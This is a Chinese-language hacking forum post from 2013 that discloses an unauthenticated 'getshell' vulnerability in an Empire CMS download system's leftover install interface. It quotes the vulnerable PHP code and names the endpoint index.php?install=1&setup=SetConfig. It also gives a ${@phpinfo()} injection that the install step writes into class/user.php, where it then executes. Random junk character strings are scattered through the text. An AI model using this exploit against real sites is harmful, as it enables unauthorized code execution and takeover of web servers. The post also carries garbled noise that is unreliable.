找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2666|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们, o$ w8 r8 d$ Q9 _

; ]9 l& w, u7 B9 |8 ?/ K- l

9 F9 D- t" D$ x/ f1 N! U3 Q
这是帝国的一套下载系统 如图
; a5 W' f- G+ Pps(不需要任何账户和密码,直接写shell)

- ]/ y# r( `  `6 A0 E4 _

由于很多站是由于下载要整合discuz 等等一些论坛....
/ W& M. n8 C6 N9 q

, A) L9 ?" P5 |! `8 ?% w) R% F

而帝国他又有一个万能接口,如图

  g7 l; h$ u) X
4 E' z( \4 f, S; ~% _

6 ]% n7 U; H$ ]! w* D* p: g

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码. C8 g# f# i" a( P0 E0 ?9 @

! y* O$ _* s- d, J9 ~当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
. l8 F, T0 B6 U3 d$ Y$ M) W. W3 b' U" e5 N" I& ?! |4 R
在data/fun.php中的15行
* J6 h+ O& W1 m5 v0 K& L7 R5 l5 {) p8 G" S( d6 f# u1 q$ C, Q
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {
9 g" p6 I- M, G4 g7 |! W
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干
! x1 q7 h1 Z; |; \
; C1 I9 h% E* Y; @7 d1 l, T这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);5 s4 Q; B  n5 S

9 @! o! ?0 B$ U' c- N  L6 [他将传进来的变量进行了切割,然后赋给了$filetext
, I3 z& J# o7 ]2 g& W4 Q* T5 r$ ]: R5 }7 Z
然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了
1 }( k/ m6 Z9 ]/ m  v! P! e6 e( o
我们看看写入的结果,随便填一个


: v% y$ A$ S# i) ^* [5 F
) ?0 T( D3 `1 A: X9 j
1 M% ]0 k( H# l: e  V) `8 L1 g: r* h) F
: ?' p% V5 y  U! x6 ^' J8 o

8 w- g5 a) A3 t% [4 i9 m! I. f8 w8 D, j5 Q+ G/ o, Q3 l0 U. z0 k
3 g& a5 Q! u  P, X* P3 v' e

0 u, Q' n0 w/ `8 c# Q1 j3 {/ T% J% i2 ~4 F
! i4 z" b3 z6 k8 b% b! O1 {
' ~+ _. v! G" T& E, i
% n! h! F" n8 J% S4 ]7 o2 e6 v
1 f. F( l; ^- `. o  u6 v" |

( w0 @- J" k5 {4 u. M- _9 d- Q% Q6 u6 @+ @

9 o2 @* b4 B$ t% O! m, x9 t
% e* A6 [4 V+ T3 |# j+ q& Y1 R) P4 B) J  ]
, u1 U; ~! c, P: k
/ [% u$ F) d) C. T! z/ ?

$ S, R9 s* H- v& I' S

所以我们淫荡点,写个${@phpinfo()}试试

$ }2 [2 }8 Y) z& [. Z) X

然后访问以下class/user.php这个文件
1 x6 e4 g6 {7 B" p7 D日了吧


; m( ^2 C; `4 A5 w

0 m1 c) q! [0 f# |7 K; m5 g' Z" ?) q
, b4 [' b; @( I
* H7 p, J% Z3 T& \  V7 H
; `8 y& V: j+ {- j5 o
8 |! S: ^3 |* X

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表